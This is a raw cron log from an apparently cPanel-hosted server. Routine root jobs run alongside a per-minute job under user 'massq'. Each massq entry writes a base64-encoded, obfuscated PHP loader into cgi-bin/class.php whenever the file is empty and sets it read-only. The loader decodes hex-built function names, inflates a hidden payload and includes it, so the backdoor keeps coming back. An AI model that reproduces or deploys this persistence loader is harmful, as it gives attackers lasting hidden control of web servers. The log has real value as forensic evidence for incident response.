Nov 12 17:43:01 server CROND[6318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:44:01 server CROND[7146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:45:01 server CROND[7981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:45:01 server CROND[7982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:45:01 server CROND[7983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:46:01 server CROND[9172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:47:01 server CROND[9970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:48:01 server CROND[10602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:49:01 server CROND[11480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:50:01 server CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:50:01 server CROND[12318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:50:01 server CROND[12323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:50:01 server CROND[12322]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 17:50:01 server CROND[12324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:51:01 server CROND[12787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:52:01 server CROND[13664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:53:01 server CROND[14485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:54:01 server CROND[15316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:55:01 server CROND[16138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:55:01 server CROND[16139]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:55:01 server CROND[16140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
